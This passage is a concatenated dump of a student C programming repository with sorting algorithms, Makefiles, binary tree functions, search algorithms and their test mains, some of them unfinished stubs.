hash_table_set(ht, "Jennie", "and Jay love asm"); 20 | hash_table_set(ht, "N", "queens"); 21 | hash_table_set(ht, "Asterix", "Obelix"); 22 | hash_table_set(ht, "Betty", "Holberton"); 23 | hash_table_set(ht, "98", "Battery Street"); 24 | hash_table_print(ht); 25 | return (EXIT_SUCCESS); 26 | } 27 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/.gitignore: -------------------------------------------------------------------------------- 1 | # .gitignore: whitelist for untracked files - see gitignore(5) 2 | 3 | * 4 | !.gitignore 5 | !AUTHORS 6 | !README.md 7 | !*-O 8 | !*.c 9 | !*.h 10 | !*.sh 11 | !*.txt 12 | *-main.* 13 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/0-O: -------------------------------------------------------------------------------- 1 | O(n) 2 | O(n^2) 3 | O(n^2) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/0-bubble_sort.c: -------------------------------------------------------------------------------- 1 | #include "sort.h" 2 | 3 | /** 4 | * bubble_sort - sort an array in ascending order 5 | * @array: the start of the array 6 | * @size: the size of the array 7 | */ 8 | void bubble_sort(int *array, size_t size) 9 | { 10 | int *position = NULL; 11 | int status = 0; 12 | 13 | if (array && size > 1) 14 | { 15 | do { 16 | position = array; 17 | status = 0; 18 | do { 19 | if (position[1] < position[0]) 20 | { 21 | position[0] ^= position[1]; 22 | position[1] ^= position[0]; 23 | position[0] ^= position[1]; 24 | status = 1; 25 | print_array(array, size); 26 | } 27 | } while (++position + 1 < array + size); 28 | } while (status); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/1-O: -------------------------------------------------------------------------------- 1 | O(n) 2 | O(n^2) 3 | O(n^2) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/101-O: -------------------------------------------------------------------------------- 1 | O(n) 2 | O(n^2) 3 | O(n^2) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/102-O: -------------------------------------------------------------------------------- 1 | O(n+k) 2 | O(n+k) 3 | O(n+k) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/103-O: -------------------------------------------------------------------------------- 1 | O(nlog(n)) 2 | O(nlog(n)) 3 | O(nlog(n)) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/104-O: -------------------------------------------------------------------------------- 1 | O(nlog(n)) 2 | O(nlog(n)) 3 | O(nlog(n)) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/105-O: -------------------------------------------------------------------------------- 1 | O(nk) 2 | O(nk) 3 | O(nk) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/2-O: -------------------------------------------------------------------------------- 1 | O(n^2) 2 | O(n^2) 3 | O(n^2) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "sort.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always 0 9 | */ 10 | int main(void) 11 | { 12 | int array[] = {19, 48, 99, 71, 13, 52, 96, 73, 86, 7}; 13 | size_t n = sizeof(array) / sizeof(array[0]); 14 | 15 | print_array(array, n); 16 | printf("\n"); 17 | selection_sort(array, n); 18 | printf("\n"); 19 | print_array(array, n); 20 | return (0); 21 | } 22 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/2-selection_sort.c: -------------------------------------------------------------------------------- 1 | #include "sort.h" 2 | 3 | /** 4 | * selection_sort - select the min in index and sort ascending. 5 | * @array: array that needs to be sorted 6 | * @size : size of array. 7 | * Return: nothing its a void function. 8 | */ 9 | void selection_sort(int *array, size_t size) 10 | { 11 | unsigned int i, j, min_idx, temp; 12 | 13 | if (!array) 14 | return; 15 | 16 | for (i = 0; i < size - 1; i++) 17 | { 18 | min_idx = i; 19 | for (j = i + 1; j < size; j++) 20 | { 21 | if (array[j] < array[min_idx]) 22 | min_idx = j; 23 | } 24 | if (array[i] != array[min_idx]) 25 | { 26 | temp = array[i]; 27 | array[i] = array[min_idx]; 28 | array[min_idx] = temp; 29 | print_array(array, size); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/3-O: -------------------------------------------------------------------------------- 1 | O(nlog(n)) 2 | O(nlog(n)) 3 | O(n^2) 4 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/print_array.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /** 5 | * print_array - Prints an array of integers 6 | * 7 | * @array: The array to be printed 8 | * @size: Number of elements in @array 9 | */ 10 | void print_array(const int *array, size_t size) 11 | { 12 | size_t i; 13 | 14 | i = 0; 15 | while (array && i < size) 16 | { 17 | if (i > 0) 18 | printf(", "); 19 | printf("%d", array[i]); 20 | ++i; 21 | } 22 | printf("\n"); 23 | } 24 | -------------------------------------------------------------------------------- /0x1B-sorting_algorithms/print_list.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "sort.h" 3 | 4 | /** 5 | * print_list - Prints a list of integers 6 | * 7 | * @list: The list to be printed 8 | */ 9 | void print_list(const listint_t *list) 10 | { 11 | int i; 12 | 13 | i = 0; 14 | while (list) 15 | { 16 | if (i > 0) 17 | printf(", "); 18 | printf("%d", list->n); 19 | ++i; 20 | list = list->next; 21 | } 22 | printf("\n"); 23 | } 24 | -------------------------------------------------------------------------------- /0x1C-makefiles/0-Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for holberton, version 0.0.1 2 | 3 | NAME = holberton 4 | 5 | CC = gcc 6 | #CFLAGS = -Wall -Werror -Wextra -pedantic 7 | OBJ = holberton.o main.o 8 | SRC = holberton.c main.c 9 | 10 | RM = rm -f 11 | 12 | all: $(SRC) 13 | $(CC) $^ -o $(NAME) 14 | 15 | clean: 16 | $(RM) $(NAME) $(TMPFILES) 17 | 18 | oclean: 19 | $(RM) $(OBJ) 20 | 21 | fclean: clean oclean 22 | -------------------------------------------------------------------------------- /0x1C-makefiles/1-Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for holberton, version 0.1 2 | 3 | NAME = holberton 4 | 5 | CC = gcc 6 | #CFLAGS = -Wall -Werror -Wextra -pedantic 7 | OBJ = holberton.o main.o 8 | SRC = holberton.c main.c 9 | 10 | RM = rm -f 11 | 12 | all: $(SRC) 13 | $(CC) $^ -o $(NAME) 14 | 15 | clean: 16 | $(RM) $(NAME) $(TMPFILES) 17 | 18 | oclean: 19 | $(RM) $(OBJ) 20 | 21 | fclean: clean oclean 22 | -------------------------------------------------------------------------------- /0x1C-makefiles/100-Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for holberton, version 1.0 2 | 3 | NAME = holberton 4 | 5 | CC = gcc 6 | CFLAGS = -Wall -Werror -Wextra -pedantic 7 | SRC = main.c holberton.c 8 | OBJ = $(patsubst %.c, %.o, $(SRC)) 9 | HEADERS = m.h 10 | 11 | TMPFILES = *~ 12 | 13 | .PHONY: all clean oclean fclean re 14 | 15 | all: $(HEADERS) $(OBJ) 16 | $(CC) $? -o $(NAME) 17 | 18 | clean: 19 | $(RM) $(NAME) $(TMPFILES) 20 | 21 | oclean: 22 | $(RM) $(OBJ) 23 | 24 | fclean: clean oclean 25 | 26 | re: oclean all 27 | -------------------------------------------------------------------------------- /0x1C-makefiles/2-Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for holberton, version 0.2 2 | 3 | NAME = holberton 4 | 5 | CC = gcc 6 | SRC = holberton.c main.c 7 | OBJ = $(patsubst %.c, %.o, $(SRC)) 8 | 9 | TMPFILES = *~ 10 | 11 | RM = rm -f 12 | 13 | all: $(OBJ) 14 | $(CC) $^ -o $(NAME) 15 | 16 | obj: $(SRC) 17 | $(CC) $^ 18 | 19 | clean: 20 | $(RM) $(NAME) $(TMPFILES) 21 | 22 | oclean: 23 | $(RM) $(OBJ) 24 | 25 | fclean: clean oclean 26 | -------------------------------------------------------------------------------- /0x1C-makefiles/3-Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for holberton, version 0.3 2 | 3 | NAME = holberton 4 | 5 | CC = gcc 6 | SRC = holberton.c main.c 7 | OBJ = $(patsubst %.c, %.o, $(SRC)) 8 | 9 | TMPFILES = *~ 10 | 11 | RM = rm -f 12 | 13 | all: $(OBJ) 14 | $(CC) $^ -o $(NAME) 15 | 16 | clean: 17 | $(RM) $(NAME) $(TMPFILES) 18 | 19 | oclean: 20 | $(RM) $(OBJ) 21 | 22 | fclean: clean oclean 23 | 24 | re: oclean all 25 | -------------------------------------------------------------------------------- /0x1C-makefiles/4-Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for holberton, version 0.4 2 | 3 | NAME = holberton 4 | 5 | CC = gcc 6 | CFLAGS = -Wall -Werror -Wextra -pedantic 7 | SRC = main.c holberton.c 8 | OBJ = $(patsubst %.c, %.o, $(SRC)) 9 | 10 | TMPFILES = *~ 11 | 12 | RM = rm -f 13 | 14 | all: $(OBJ) 15 | $(CC) $^ -o $(NAME) 16 | 17 | clean: 18 | $(RM) $(NAME) $(TMPFILES) 19 | 20 | oclean: 21 | $(RM) $(OBJ) 22 | 23 | fclean: clean oclean 24 | 25 | re: oclean all 26 | -------------------------------------------------------------------------------- /0x1C-makefiles/5-island_perimeter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """Provides a function to compute the perimeter of an island""" 3 | 4 | 5 | def island_perimeter(grid): 6 | """Compute the perimeter of an island""" 7 | perim = 0 8 | for y, row in enumerate(grid): 9 | for x, item in enumerate(row): 10 | if item == 1: 11 | if x == 0 or grid[y][x - 1] == 0: 12 | perim += 1 13 | if x == len(row) - 1 or grid[y][x + 1] == 0: 14 | perim += 1 15 | if y == 0 or grid[y - 1][x] == 0: 16 | perim += 1 17 | if y == len(grid) - 1 or grid[y + 1][x] == 0: 18 | perim += 1 19 | return perim 20 | -------------------------------------------------------------------------------- /0x1C-makefiles/5-main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """ 3 | 5-main 4 | """ 5 | island_perimeter = __import__('5-island_perimeter').island_perimeter 6 | 7 | if __name__ == "__main__": 8 | grid = [ 9 | [0, 0, 0, 0, 0, 0], 10 | [0, 1, 0, 0, 0, 0], 11 | [0, 1, 0, 0, 0, 0], 12 | [0, 1, 1, 1, 0, 0], 13 | [0, 0, 0, 0, 0, 0], 14 | ] 15 | print(island_perimeter(grid)) 16 | 17 | -------------------------------------------------------------------------------- /0x1C-makefiles/m.h: -------------------------------------------------------------------------------- 1 | #ifndef __M_H__ 2 | #define __M_H__ 3 | 4 | #include 5 | #include 6 | 7 | void print_holberton(void); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /0x1C-makefiles/main.c: -------------------------------------------------------------------------------- 1 | #include "m.h" 2 | 3 | /** 4 | * main - Entry point 5 | * 6 | * Return: Always EXIT_SUCCESS 7 | */ 8 | int main(void) 9 | { 10 | print_holberton(); 11 | return (EXIT_SUCCESS); 12 | } 13 | -------------------------------------------------------------------------------- /0x1D-binary_trees/.gitignore: -------------------------------------------------------------------------------- 1 | ** 2 | !.gitignore 3 | !AUTHORS 4 | !README.md 5 | !*.h 6 | !*.c 7 | !*-O 8 | -------------------------------------------------------------------------------- /0x1D-binary_trees/0-binary_tree_node.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_node - create a new node 5 | * @parent: a pointer to the parent of the node to be created 6 | * @value: the value to put in the new node 7 | * 8 | * Return: If memory allocation fails, return NULL. 9 | * Otherwise, return a pointer to the new node. 10 | */ 11 | bt_t *binary_tree_node(bt_t *parent, int value) 12 | { 13 | bt_t *new = calloc(1, sizeof(*new)); 14 | 15 | if (new) 16 | { 17 | new->n = value; 18 | new->parent = parent; 19 | } 20 | return (new); 21 | } 22 | -------------------------------------------------------------------------------- /0x1D-binary_trees/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "binary_trees.h" 3 | 4 | /** 5 | * main - Entry point 6 | * 7 | * Return: Always 0 (Success) 8 | */ 9 | int main(void) 10 | { 11 | binary_tree_t *root; 12 | 13 | root = binary_tree_node(NULL, 98); 14 | 15 | root->left = binary_tree_node(root, 12); 16 | root->left->left = binary_tree_node(root->left, 6); 17 | root->left->right = binary_tree_node(root->left, 16); 18 | 19 | root->right = binary_tree_node(root, 402); 20 | root->right->left = binary_tree_node(root->right, 256); 21 | root->right->right = binary_tree_node(root->right, 512); 22 | 23 | binary_tree_print(root); 24 | return (0); 25 | } 26 | -------------------------------------------------------------------------------- /0x1D-binary_trees/1-binary_tree_insert_left.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_insert_left - insert a new node as the left child of a node 5 | * @parent: a pointer to the parent of the node to be created 6 | * @value: the value to put in the new node 7 | * 8 | * Return: If memory allocation fails, return NULL. 9 | * Otherwise, return a pointer to the new node. 10 | */ 11 | bt_t *binary_tree_insert_left(bt_t *parent, int value) 12 | { 13 | bt_t *new = NULL; 14 | 15 | if (parent) 16 | { 17 | new = binary_tree_node(parent, value); 18 | if (new) 19 | { 20 | if (parent->left) 21 | { 22 | new->left = parent->left; 23 | new->left->parent = new; 24 | } 25 | parent->left = new; 26 | } 27 | } 28 | return (new); 29 | } 30 | -------------------------------------------------------------------------------- /0x1D-binary_trees/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "binary_trees.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always 0 (Success) 9 | */ 10 | int main(void) 11 | { 12 | binary_tree_t *root; 13 | 14 | root = binary_tree_node(NULL, 98); 15 | root->left = binary_tree_node(root, 12); 16 | root->right = binary_tree_node(root, 402); 17 | binary_tree_print(root); 18 | printf("\n"); 19 | binary_tree_insert_left(root->right, 128); 20 | binary_tree_insert_left(root, 54); 21 | binary_tree_print(root); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x1D-binary_trees/10-binary_tree_depth.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_depth - measure the depth of a node in a binary tree 5 | * @tree: a pointer to the node 6 | * 7 | * Return: If tree is NULL, return 0. 8 | * Otherwise, return the depth of the node. 9 | */ 10 | size_t binary_tree_depth(const bt_t *tree) 11 | { 12 | size_t depth = 0; 13 | 14 | if (tree) 15 | { 16 | while ((tree = tree->parent)) 17 | ++depth; 18 | } 19 | return (depth); 20 | } 21 | -------------------------------------------------------------------------------- /0x1D-binary_trees/103-binary_tree_rotate_left.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_rotate_left - perform a left-rotation on a binary tree 5 | * @tree: the tree to rotate 6 | * 7 | * Return: a pointer to the new root 8 | */ 9 | bt_t *binary_tree_rotate_left(bt_t *tree) 10 | { 11 | bt_t *node = NULL; 12 | 13 | if (tree) 14 | { 15 | node = tree->right; 16 | if (node) 17 | { 18 | tree->right = node->left; 19 | if (tree->right) 20 | tree->right->parent = tree; 21 | node->left = tree; 22 | node->parent = tree->parent; 23 | tree->parent = node; 24 | } 25 | } 26 | return (node); 27 | } 28 | -------------------------------------------------------------------------------- /0x1D-binary_trees/104-binary_tree_rotate_right.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_rotate_right - perform a right-rotation on a binary tree 5 | * @tree: the tree to rotate 6 | * 7 | * Return: a pointer to the new root 8 | */ 9 | bt_t *binary_tree_rotate_right(bt_t *tree) 10 | { 11 | bt_t *node = NULL; 12 | 13 | if (tree) 14 | { 15 | node = tree->left; 16 | if (node) 17 | { 18 | tree->left = node->right; 19 | if (tree->left) 20 | tree->left->parent = tree; 21 | node->right = tree; 22 | node->parent = tree->parent; 23 | tree->parent = node; 24 | } 25 | } 26 | return (node); 27 | } 28 | -------------------------------------------------------------------------------- /0x1D-binary_trees/11-binary_tree_size.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_size - measure the size of a binary tree 5 | * @tree: a pointer to the root node of the tree 6 | * 7 | * Return: If tree is NULL, return 0. 8 | * Otherwise, return the size of the tree. 9 | */ 10 | size_t binary_tree_size(const bt_t *tree) 11 | { 12 | if (!tree) 13 | return (0); 14 | return (binary_tree_size(tree->left) + binary_tree_size(tree->right) + 1); 15 | } 16 | -------------------------------------------------------------------------------- /0x1D-binary_trees/112-array_to_bst.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * array_to_bst - build a BST from an array 5 | * @array: the array from which to construct a BST 6 | * @size: the size of the array 7 | * 8 | * Return: If memory allocation fails, return NULL. 9 | * Otherwise, return a pointer to the root of the new BST 10 | */ 11 | bst_t *array_to_bst(int *array, size_t size) 12 | { 13 | bst_t *root = NULL; 14 | size_t index = 0; 15 | 16 | if (array) 17 | { 18 | while (index < size) 19 | bst_insert(&root, array[index++]); 20 | } 21 | return (root); 22 | } 23 | -------------------------------------------------------------------------------- /0x1D-binary_trees/112-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "binary_trees.h" 3 | 4 | /** 5 | * main - Entry point 6 | * 7 | * Return: 0 on success, error code on failure 8 | */ 9 | int main(void) 10 | { 11 | bst_t *tree; 12 | int array[] = { 13 | 79, 47, 68, 87, 84, 91, 21, 32, 34, 2, 14 | 20, 22, 98, 1, 62, 95 15 | }; 16 | size_t n = sizeof(array) / sizeof(array[0]); 17 | 18 | tree = array_to_bst(array, n); 19 | if (!tree) 20 | return (1); 21 | binary_tree_print(tree); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x1D-binary_trees/113-bst_search.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * bst_search - search for an element in a BST 5 | * @tree: the tree in which to locate a value 6 | * @value: the value to locate 7 | * 8 | * Return: If tree is NULL or the given value cannot be found, return NULL. 9 | * Otherwise, return a pointer to the node containing the given value. 10 | */ 11 | bst_t *bst_search(const bst_t *tree, int value) 12 | { 13 | if (tree) 14 | { 15 | if (value < tree->n) 16 | return (bst_search(tree->left, value)); 17 | if (value > tree->n) 18 | return (bst_search(tree->right, value)); 19 | return ((bst_t *) tree); 20 | } 21 | return (NULL); 22 | } 23 | -------------------------------------------------------------------------------- /0x1D-binary_trees/115-O: -------------------------------------------------------------------------------- 1 | O(log(n)) 2 | O(log(n)) 3 | O(log(n)) 4 | -------------------------------------------------------------------------------- /0x1D-binary_trees/12-binary_tree_leaves.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_leaves - count the leaves in a binary tree 5 | * @tree: a pointer to the root node of the tree 6 | * 7 | * Return: If tree is NULL, return 0. 8 | * Otherwise the number of leaves in a tree. 9 | */ 10 | size_t binary_tree_leaves(const bt_t *tree) 11 | { 12 | if (!tree) 13 | return (0); 14 | 15 | if (!(tree->left || tree->right)) 16 | return (1); 17 | 18 | return (binary_tree_leaves(tree->left) + binary_tree_leaves(tree->right)); 19 | } 20 | -------------------------------------------------------------------------------- /0x1D-binary_trees/122-array_to_avl.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * array_to_avl - build an AVL tree from an array 5 | * @array: source array 6 | * @size: size of the array 7 | * 8 | * Return: If array is NULL or memory allocation fails, return NULL. 9 | * Otherwise, return a pointer to the root of the resulting tree. 10 | */ 11 | avl_t *array_to_avl(int *array, size_t size) 12 | { 13 | avl_t *tree = NULL; 14 | 15 | if (array) 16 | { 17 | while (size--) 18 | avl_insert(&tree, *array++); 19 | } 20 | return (tree); 21 | } 22 | -------------------------------------------------------------------------------- /0x1D-binary_trees/122-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "binary_trees.h" 3 | 4 | /** 5 | * main - Entry point 6 | * 7 | * Return: 0 on success, error code on failure 8 | */ 9 | int main(void) 10 | { 11 | avl_t *tree; 12 | int array[] = { 13 | 79, 47, 68, 87, 84, 91, 21, 32, 34, 2, 14 | 20, 22, 98, 1, 62, 95 15 | }; 16 | size_t n = sizeof(array) / sizeof(array[0]); 17 | 18 | tree = array_to_avl(array, n); 19 | if (!tree) 20 | return (1); 21 | binary_tree_print(tree); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x1D-binary_trees/124-sorted_array_to_avl.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_is_heap - 5 | * 6 | * Return: 7 | */ 8 | int binary_tree_is_heap(const binary_tree_t *tree) 9 | { 10 | 11 | } -------------------------------------------------------------------------------- /0x1D-binary_trees/125-O: -------------------------------------------------------------------------------- 1 | O(log(n)) 2 | O(log(n)) 3 | O(log(n)) 4 | -------------------------------------------------------------------------------- /0x1D-binary_trees/13-binary_tree_nodes.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_nodes - count the nodes with at least 1 child in a binary tree 5 | * @tree: a pointer to the root node of the tree 6 | * 7 | * Return: If tree is NULL, return 0. 8 | * Otherwise the number of non-leaf nodes in a tree. 9 | */ 10 | size_t binary_tree_nodes(const bt_t *tree) 11 | { 12 | if (!tree) 13 | return (0); 14 | 15 | if (!(tree->left || tree->right)) 16 | return (0); 17 | 18 | return (binary_tree_nodes(tree->left) + binary_tree_nodes(tree->right) + 1); 19 | } 20 | -------------------------------------------------------------------------------- /0x1D-binary_trees/132-array_to_heap.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * heap_to_sorted_array - 5 | * 6 | * Return: 7 | */ 8 | int *heap_to_sorted_array(heap_t *heap, size_t *size) 9 | { 10 | 11 | } -------------------------------------------------------------------------------- /0x1D-binary_trees/132-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "binary_trees.h" 3 | 4 | /** 5 | * main - Entry point 6 | * 7 | * Return: 0 on success, error code on failure 8 | */ 9 | int main(void) 10 | { 11 | heap_t *tree; 12 | int array[] = { 13 | 79, 47, 68, 87, 84, 91, 21, 32, 34, 2, 14 | 20, 22, 98, 1, 62, 95 15 | }; 16 | size_t n = sizeof(array) / sizeof(array[0]); 17 | 18 | tree = array_to_heap(array, n); 19 | if (!tree) 20 | return (1); 21 | binary_tree_print(tree); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x1D-binary_trees/135-O: -------------------------------------------------------------------------------- 1 | O(n) 2 | O(n) 3 | O(n) 4 | -------------------------------------------------------------------------------- /0x1D-binary_trees/15-binary_tree_is_full.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_is_full - check if a binary tree is full 5 | * @tree: a pointer to the root node of the tree 6 | * 7 | * Return: If tree is NULL or the tree is not full, return 0. 8 | * Otherwise, return 1. 9 | */ 10 | int binary_tree_is_full(const bt_t *tree) 11 | { 12 | if (!tree) 13 | return (0); 14 | 15 | if (!tree->left) 16 | return (!tree->right); 17 | 18 | if (!tree->right) 19 | return (!tree->left); 20 | 21 | return (binary_tree_is_full(tree->left) && 22 | binary_tree_is_full(tree->right)); 23 | } 24 | -------------------------------------------------------------------------------- /0x1D-binary_trees/17-binary_tree_sibling.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_sibling - find the sibling of a node 5 | * @node: a pointer to the node 6 | * 7 | * Return: If node is NULL or does not have a sibling, return NULL. 8 | * Otherwise, return a pointer to the sibling. 9 | */ 10 | bt_t *binary_tree_sibling(bt_t *node) 11 | { 12 | bt_t *parent = NULL; 13 | 14 | if (node) 15 | { 16 | parent = node->parent; 17 | if (parent) 18 | return (node == parent->left ? parent->right : parent->left); 19 | } 20 | return (NULL); 21 | } 22 | -------------------------------------------------------------------------------- /0x1D-binary_trees/2-binary_tree_insert_right.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_insert_right -insert a new node as the right child of a node 5 | * @parent: a pointer to the parent of the node to be created 6 | * @value: the value to put in the new node 7 | * 8 | * Return: If memory allocation fails, return NULL. 9 | * Otherwise, return a pointer to the new node. 10 | */ 11 | bt_t *binary_tree_insert_right(bt_t *parent, int value) 12 | { 13 | bt_t *new = NULL; 14 | 15 | if (parent) 16 | { 17 | new = binary_tree_node(parent, value); 18 | if (new) 19 | { 20 | if (parent->right) 21 | { 22 | new->right = parent->right; 23 | new->right->parent = new; 24 | } 25 | parent->right = new; 26 | } 27 | } 28 | return (new); 29 | } 30 | -------------------------------------------------------------------------------- /0x1D-binary_trees/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "binary_trees.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always 0 (Success) 9 | */ 10 | int main(void) 11 | { 12 | binary_tree_t *root; 13 | 14 | root = binary_tree_node(NULL, 98); 15 | root->left = binary_tree_node(root, 12); 16 | root->right = binary_tree_node(root, 402); 17 | binary_tree_print(root); 18 | printf("\n"); 19 | binary_tree_insert_right(root->left, 54); 20 | binary_tree_insert_right(root, 128); 21 | binary_tree_print(root); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x1D-binary_trees/3-binary_tree_delete.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_delete - delete an entire binary tree 5 | * @tree: a pointer to the root node of the tree 6 | */ 7 | void binary_tree_delete(bt_t *tree) 8 | { 9 | if (tree) 10 | { 11 | binary_tree_delete(tree->left); 12 | binary_tree_delete(tree->right); 13 | free(tree); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /0x1D-binary_trees/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "binary_trees.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always 0 (Success) 9 | */ 10 | int main(void) 11 | { 12 | binary_tree_t *root; 13 | 14 | root = binary_tree_node(NULL, 98); 15 | root->left = binary_tree_node(root, 12); 16 | root->right = binary_tree_node(root, 402); 17 | binary_tree_insert_right(root->left, 54); 18 | binary_tree_insert_right(root, 128); 19 | binary_tree_print(root); 20 | binary_tree_delete(root); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x1D-binary_trees/4-binary_tree_is_leaf.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_is_leaf - checks if a given node is a leaf 5 | * @node: a pointer to the node to check 6 | * 7 | * Return: 1 if node is a leaf, otherwise 0 8 | */ 9 | int binary_tree_is_leaf(const bt_t *node) 10 | { 11 | return (node && !node->left && !node->right); 12 | } 13 | -------------------------------------------------------------------------------- /0x1D-binary_trees/5-binary_tree_is_root.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_is_root - checks if a given node is a root 5 | * @node: a pointer to the node to check 6 | * 7 | * Return: 1 if node is a root, otherwise 0 8 | */ 9 | int binary_tree_is_root(const bt_t *node) 10 | { 11 | return (node && !node->parent); 12 | } 13 | -------------------------------------------------------------------------------- /0x1D-binary_trees/9-binary_tree_height.c: -------------------------------------------------------------------------------- 1 | #include "binary_trees.h" 2 | 3 | /** 4 | * binary_tree_height - measure the height of a binary tree 5 | * @tree: a pointer to the root node of the tree 6 | * 7 | * Return: If tree is NULL, return 0. 8 | * Otherwise, return the height of the tree. 9 | */ 10 | size_t binary_tree_height(const bt_t *tree) 11 | { 12 | size_t lhs = 0, rhs = 0; 13 | 14 | if (tree) 15 | { 16 | lhs = (tree->left ? binary_tree_height(tree->left) + 1 : 0); 17 | rhs = (tree->right ? binary_tree_height(tree->right) + 1 : 0); 18 | } 19 | return (lhs > rhs ? lhs : rhs); 20 | } 21 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/.gitignore: -------------------------------------------------------------------------------- 1 | ** 2 | !.gitignore 3 | !README.md 4 | !*.c 5 | !*.h 6 | !*-O 7 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/0-linear.c: -------------------------------------------------------------------------------- 1 | #include "search_algos.h" 2 | 3 | #define VALUE_CHECKED(array, index) \ 4 | printf("Value checked array[%lu] = [%d]\n", index, array[index]) 5 | 6 | /** 7 | * linear_search - search for a value in an array of integers 8 | * @array: the array of values 9 | * @size: the number of values 10 | * @value: the value to locate 11 | * 12 | * Return: If value is not present in array or array is NULL, return -1. 13 | * Otherwise, returh the first index where value is located. 14 | */ 15 | int linear_search(int *array, size_t size, int value) 16 | { 17 | size_t i; 18 | 19 | if (array) 20 | { 21 | for (i = 0; i < size; ++i) 22 | { 23 | VALUE_CHECKED(array, i); 24 | if (array[i] == value) 25 | return (i); 26 | } 27 | } 28 | return (-1); 29 | } 30 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "search_algos.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always EXIT_SUCCESS 9 | */ 10 | int main(void) 11 | { 12 | int array[] = { 13 | 10, 1, 42, 3, 4, 42, 6, 7, -1, 9 14 | }; 15 | size_t size = sizeof(array) / sizeof(array[0]); 16 | 17 | printf("Found %d at index: %d\n\n", 3, linear_search(array, size, 3)); 18 | printf("Found %d at index: %d\n\n", 42, linear_search(array, size, 42)); 19 | printf("Found %d at index: %d\n", 999, linear_search(array, size, 999)); 20 | return (EXIT_SUCCESS); 21 | } 22 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "search_algos.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always EXIT_SUCCESS 9 | */ 